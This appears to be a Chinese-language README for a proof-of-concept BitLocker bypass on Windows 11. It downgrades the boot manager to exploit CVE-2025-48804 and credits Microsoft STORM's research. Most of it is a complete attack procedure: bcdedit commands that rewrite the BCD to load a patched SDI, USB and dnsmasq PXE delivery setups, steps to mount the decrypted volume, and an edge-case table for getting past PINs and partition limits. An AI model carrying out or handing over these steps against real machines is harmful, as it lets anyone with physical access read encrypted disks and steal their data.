一种概念验证方法,可在完全修补的 Windows 11 机器上,在 5 分钟内 访问 BitLocker 加密磁盘,通过引导管理器降级攻击利用最初记录为 CVE-2025-48804 的 SDI 漏洞。2025 年 7 月的补丁修复了 bootmgfw.efi,因此在 PCA 2011 下签名的任何预补丁 bootmgfw.efi 均可用于降级攻击,前提是目标系统信任该 PCA。
此 PoC 提供了两种交付方法:USB 启动(更简单,推荐)和 PXE 启动。但理论上,您也可以直接将 SDI 启动文件复制到默认未加密的分区(ESP 和恢复分区)中,而无需使用 USB 或 PXE——请参阅“边缘情况”表。
这项工作完全基于 Microsoft STORM(Netanel Ben Simon 和 Alon Leviev)的研究:
dnsmasq 和以太网线缆的 Linux 机器(用于 PXE)将其放入 USB/sdi/(用于 USB 方法)或 TFTP-root/sdi/(用于 PXE 方法)。
在目标设备上,打开 WinRE 命令提示符(按住 Shift 同时点击 重启,然后选择 疑难解答 > 命令提示符——当提示输入 BitLocker 恢复密钥时点击“忽略此磁盘”,如果同时提示命令提示符无法在锁定设备上运行,请点击“重新启动”——如果命令提示符无法打开,请使用您自己的 WinPE)。插入 U 盘并运行:
E: (或 U 盘所在盘符)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
在输出中,找到描述为 “Windows 恢复” 且包含 ramdisksdidevice / ramdisksdipath 条目的设备选项。记下其 GUID,然后:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
将生成的 BCD 文件放入相应位置,具体取决于您的方法:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCD将 U 盘格式化为 FAT32,然后将 USB/ 目录的内容复制到其根目录(仅复制内容,不应存在“USB”文件夹)。U 盘应如下所示:
U盘根目录/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # 预补丁引导管理器(PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # 您修改后的 BCD
└── sdi/
└── boot_patched.sdi # 包含自定义 WinRE 的修补后 SDI
将 U 盘插入目标设备,触发 UEFI USB 启动——可以从 WinRE(使用设备)或通过按制造商启动菜单键(F12、F9 等)在开机时进行。如果 U 盘未出现在启动选项列表中,请在 UEFI 启动菜单中查找 “从文件启动” 选项,然后导航到 U 盘上的 EFI/Boot/bootx64.efi。
TFTP-root/ 目录结构如下:
TFTP-root/
├── bootmgfw.efi # 预补丁引导管理器(PCA 2011)
├── Boot/
│ └── BCD # 您修改后的 BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # 相同的预补丁引导管理器
└── sdi/
└── boot_patched.sdi # 包含自定义 WinRE 的修补后 SDI
通过以太网将目标设备连接到您的 Linux 机器,然后启动 PXE 服务器:
cd BitUnlocker
export INTERFACE=<您的网络接口>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
在目标设备上触发 PXE 启动——从 WinRE 选择 使用设备 > IPv4 网络,或按制造商的 PXE 启动键。
引导管理器将加载 BCD,然后开始下载 boot_patched.sdi。SDI 文件很大(约 300 MB),因此从 USB 加载需要一些时间,或者通过 TFTP 加载需要 几分钟。加载时,目标屏幕上应显示一条包含 SDI 路径的恢复相关消息。
传输完成后,应出现命令提示符,并且 OS 卷已解密并挂载(通常为 C: 或 E:)。如果未自动挂载或您不想猜测盘符,只需运行 diskpart -> sel vol X(选择看起来像加密驱动器的卷) -> assign letter=C(或其他盘符) -> exit -> 完成。
我在 scripts/ 中包含了两个脚本:
patch_sdi.py — 从 boot.sdi 和 WinRE.wim 文件构建修改后的 SDI 文件parse_sdi.py — 解析 SDI 文件以验证其结构和内容Releases 中提供的 boot_patched.sdi 文件包含一个修改后的 WinRE.wim,其启动应用程序为 cmd.exe。
bootmgfw.efi。要检查,请挂载 EFI 分区并检查活动二进制文件:mountvol S: /s 然后 sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi。请注意,C:\Windows\Boot\EFI\bootmgfw.efi 可能与实际用于启动的文件不同——始终检查 EFI 分区副本。Microsoft STORM(Netanel Ben Simon 和 Alon Leviev) 感谢其原创的 BitUnlocker 研究和漏洞披露。
本项目采用 MIT 许可证 授权。详情请参阅 LICENSE 文件。
此存储库及其所有内容严格仅供 授权的安全测试和研究目的 使用。仅可对您拥有或已获得明确书面授权的系统使用此工具。未经授权访问计算机系统是违法的。作者不对因使用此材料而导致的任何误用或损害承担任何责任。
| 情况 | 结果 |
|---|
| BitLocker 配置了您知道的 PIN | 启动时出现蓝屏——盲打 PIN(抱歉,此存储库未处理 BitLocker 字体)并按 Enter 键 |
| 蓝屏,无 PIN | 目标可能已迁移到 CA 2023——按 Escape 键让 SDI 传输完成,但 BitLocker 加密驱动器最终很可能仍处于锁定状态 |
| 仅 USB-C / Thunderbolt | 使用 USB-C 驱动器或 USB-以太网适配器(用于 PXE) |
| TFTP 文件未找到(除非是无关紧要的垃圾字体文件) | 文件名区分大小写——将 bootmgfw.efi 重命名为与目标请求的名称一致 |
| 不允许 PXE 或 USB 启动 | 检查 ESP 和恢复分区的可用空间(diskpart -> list vol)。如果任一分区有足够的空间容纳提供的 Boot.sdi 文件(约 300 MB),则将其放入。然后,漏洞利用将略有不同(但同样快速),因为您需要直接修改目标系统的 BCD 文件(请备份),以指向未加密的主机分区(特别是 ramdisksdidevice BCD 条目),并将目标设备的 bootmgfw.efi 替换为此存储库 TFTP 文件夹中提供的版本。在这种情况下,请确保检查目标设备的引导管理器是否由 PCA 2011 签名(否则漏洞利用无论如何都无效,始终检查),否则系统将进入 BitLocker 恢复。另外,如果空间不足无法容纳此存储库提供的 Boot.sdi 文件,您可以尝试制作自己更小的版本,肯定有一些方法可以做到(请参阅下面的“构建您自己的 SDI 文件”部分) |